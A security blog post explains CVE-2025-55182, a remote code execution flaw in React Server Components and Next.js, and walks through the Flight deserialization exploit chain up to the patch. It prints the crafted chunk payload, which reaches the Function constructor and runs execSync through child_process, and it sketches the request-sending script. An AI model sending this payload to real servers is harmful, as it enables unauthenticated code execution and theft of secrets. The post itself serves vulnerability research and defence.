- Published on
Understanding CVE-2025-55182: How React Server Components Turned into Remote Code Execution
- Authors

- Name
- Younes ZADI
CVE-2025-55182 is a critical RCE (Remote Code Execution) vulnerability in React Server Components (RSC) and the React “Flight” protocol, also affecting frameworks like Next.js that implement it. It’s rated CVSS 10.0 and allows an unauthenticated attacker to run arbitrary JavaScript on your server just by sending a crafted HTTP request.
You can find other POCs but they all use favourable environment with developper mistake code to show the exploit, but in this article, we will use a real-world example with nextjs app created using the create-next-app command. There is no mistake on the app used for the exploit, it's a real-world example.
This article explains how the exploit works, using my POC, we manage to execute remote code on the server and access the environment variables in the public folder.
1. Server Actions / Server Functions (React / Next.js)
React 19 introduced Server Functions (aka Server Actions in Next.js). They’re basically “call this server-side function from the client as if it were a normal function”.
Very simplified Next.js-style example:
// app/actions.ts
'use server'
export async function addMessage(message: string) {
// runs on the server
await db.insert({ message })
}
On the client:
'use client'
import { addMessage } from './actions'
async function handleSubmit() {
await addMessage('Hello!')
}
Under the hood, this is not magic:
The client makes an HTTP request (POST) to the server.
It includes serialized arguments in a special format (React Flight protocol).
The server deserializes that payload, reconstructs the arguments, and calls
addMessage(...).
High-level:

The vulnerability lives in the deserialization step (React Flight), before the app code runs.
2. The React Flight Protocol and “Chunks”
The Flight protocol represents data as chunks, each chunk identified by an index: "0", "1", "2", etc. The client sends them as form fields (multipart/form-data).
A simplified example from the original write-up:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Chunk
"2"is JSON with{"fruitName": "cherry"}.Chunk
"1"references"2"using$2:fruitNameto say “take fruitName from chunk 2”.Chunk
"0"references chunk"1"using$1.
After deserialization, the server will reconstruct:
{ object: 'fruit', name: 'cherry' }

The string markers like $1, $2:fruitName tell React “resolve this reference when deserializing”.
Key idea:
The server trusts these markers and walks whatever path you give it inside the object — and that’s where the trouble starts.
3. A subtle bug: reading from the prototype (proto)
In JavaScript, every object has a prototype: obj.__proto__. React’s deserializer, when resolving things like $2:fruitName, basically does:
lookup(chunk2, 'fruitName')
Before the patch, that lookup didn’t check whether "fruitName" is an own property of the object — so you could ask for magic properties on the prototype.
For example, you could construct a reference like:
"$1:__proto__:constructor:constructor"
Meaning:
$1→ start from chunk1__proto__→ go to its prototype (e.g.Object.prototype)constructor→ get the constructor function of that prototype (e.g.Object)constructoragain → get the constructor of the constructor →Function
The write-up shows a simple payload:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
That deserializes to the Function constructor:
[Function: Function]
Why is that bad? Because:
const F = Function // "Function constructor"
F('return process.env')() // basically eval
The Function constructor is essentially a controlled version of eval: it takes a string and turns it into executable code.
So:
Bug #1 is: the deserializer lets you walk the prototype chain using
__proto__.That gives you a handle to
Function.
We’re not executing anything yet, but we now have access to the most dangerous object in JavaScript.
4. Thenables and Next.js calling your function for you
In Next.js’s pre-patch code, the form data was decoded like this (simplified):
// action-handler.ts (before patch)
boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, { temporaryReferences })
Key detail:
decodeReplyFromBusboyreturns whatever the deserializer yields.If you return an object with a
thenmethod, JS treats it like a Promise-like object (thenable).awaitwill callvalue.then(resolve, reject).
So if chunk "0" deserializes to:
{
then: Function // our Function constructor from before
}
The await will effectively do:
Function(resolve, reject)
This immediately fails with a syntax error (the Function constructor expected a string, got functions),
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) { ... }
but it proves a point:
We can inject any value into a then property that will be called.
So:
- Bug #2:
awaitis being used on untrusted data from the deserializer, which can be turned into a malicious thenable.
Still, we don’t yet have a clean way to pass a string of our choice into the Function constructor as code. For that, the exploit chain gets clever.
5. The “fake chunk” trick and $@ raw references
React’s Flight protocol has a special $@ syntax: $@0, $@1, etc.
It returns the raw chunk object, not the resolved value:
case "@":
return (
(obj = parseInt(value.slice(2), 16)),
getChunk(response, obj)
);
The exploit uses this to make chunk 0 reference itself as a “raw chunk” from another chunk.
Example (simplified):
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
High-level idea:
Chunk 0’s
"then"property is overwritten withChunk.prototype.then(again using__proto__trick).Chunk 1 contains a reference to
$@0, the raw chunk 0 object.
During deserialization, the chain makes React call Chunk.prototype.then with our crafted “fake” chunk.
Recall: Chunk.prototype.then looks roughly like:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case 'resolved_model':
initializeModelChunk(this)
}
// ...
}
So if we set:
{
"then": "$1:__proto__:then",
"status": "resolved_model"
}
…then Chunk.prototype.then will call initializeModelChunk(this) on our fake chunk.
Visualizing this:

Now we’re inside initializeModelChunk with a fully attacker-controlled chunk.
6. Second-pass deserialization and the $B “blob” gadget
Inside initializeModelChunk, React does a second pass of deserialization:
function initializeModelChunk(chunk) {
// ...
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { '': rawModel }, '', rawModel, rootReference)
// ...
}
Important details:
chunk.value(a string) is parsed withJSON.parse→rawModel.reviveModelis called with:chunk._responseas responseThe parsed model
This is a second “revival” pass that:
Walks through the model
Resolves reference markers like
$1,$B0, etc.
Among those markers, there’s a special "$B" case that handles blob data:
case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);
So if in our model we have something like "$B0", React will do:
response._formData.get(response._prefix + '0')
Now comes the nasty part:
Because initializeModelChunk passes in chunk._response, we control response. So we can craft:
{
"then": "$B0"
}
…and we define chunk._response as an object with:
`_prefix: a string we control
_formData.get: a function we control (we’ll point it to Function again)
The PoC’s crafted chunk (conceptually) looks like:
const crafted_chunk = {
then: '$1:__proto__:then',
status: 'resolved_model',
reason: -1,
value: '{"then": "$B0"}',
_response: {
_prefix: "process.mainModule.require('child_process').execSync('<COMMAND>');",
_formData: {
get: '$1:constructor:constructor', // → Function constructor
},
},
}
When the $B0 marker is resolved:
response._formData.get(response._prefix + '0')
// becomes something like:
Function("process.mainModule.require('child_process').execSync('<COMMAND>');0")
This returns a new function object whose body is our attacker-controlled code.
parseModelString returns that function as the .then of our crafted chunk, and we are still in the same promise chain, so it will be awaited → the function gets executed.
Summerizing the chain:

Every step is just React/Next.js doing their normal thing — but the data has been twisted so that the normal behavior becomes an exploit.
7. How exploit.js ties it together
Our exploit.js script builds the crafted chunk object and sends it to a vulnerable server.
At a high level, it does:
- Build the
crafted_chunkobject with:
then,status,reason,value,_response._prefix,_response._formData.get_response._prefixcontains the code you want to run (for testing, something likeprocess.mainModule.require('child_process').execSync('calc');on Windows, or another command on Linux).
Stringify it and put it in the
"0"field of aFormData/multipart/form-datarequest.Put
"1"as"\"$@0\""(a string containing$@0) to create the raw self-reference.Send a POST request to the Next.js / React endpoint, with headers like:
Next-Action:<some_id>Accept:text/x-component
- The server deserializes this payload, hits the exploit chain, and executes the code inside
_prefix.
The script itself is just plumbing:
const FormData = require('form-data')(or the built-in Web FormData in Node 22+)const fetch = ...form.append("0", JSON.stringify(crafted_chunk));form.append("1", '"$@0"');fetch(BASE_URL, { method: 'POST', body: form, headers: { 'Next-Action': 'x', 'Accept': 'text/x-component' } });
Important defensive note: The point of explaining this is to understand and defend, not to give a ready-made weapon. The exact details (endpoint URL, action id, OS command, etc.) are specific to each app and environment.
8. Why this triggers before any app-level checks
One of the scariest parts of CVE-2025-55182 is that all of this happens before Next.js ever checks what action you’re calling.
The exploitation happens:
Inside React Flight deserialization
While Next.js is still trying to parse the incoming form data for a server action
Before validation like “does this action exist?” or “is this user allowed to call it?”
In other words, any route that accepts the RSC / server action protocol (e.g. through Next-Action or similar headers) is potentially vulnerable, even if your app logic never uses the action id that’s passed.
9. How React / Next.js fixed it
The core fix in React is to stop returning prototype properties when resolving references. They added an hasOwnProperty check when reading module exports:
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
Combined with other hardening around the Flight protocol and Next.js’s request handling, this closes the main prototype escape and call-gadget chain.
According to the React advisory, the vulnerability is present in React 19.0, 19.1.0, 19.1.1, and 19.2.0 in packages like react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack, and is fixed starting with React 19.2.1
Next.js assigned its own identifier (CVE-2025-66478) for the framework-level impact and released patched versions as well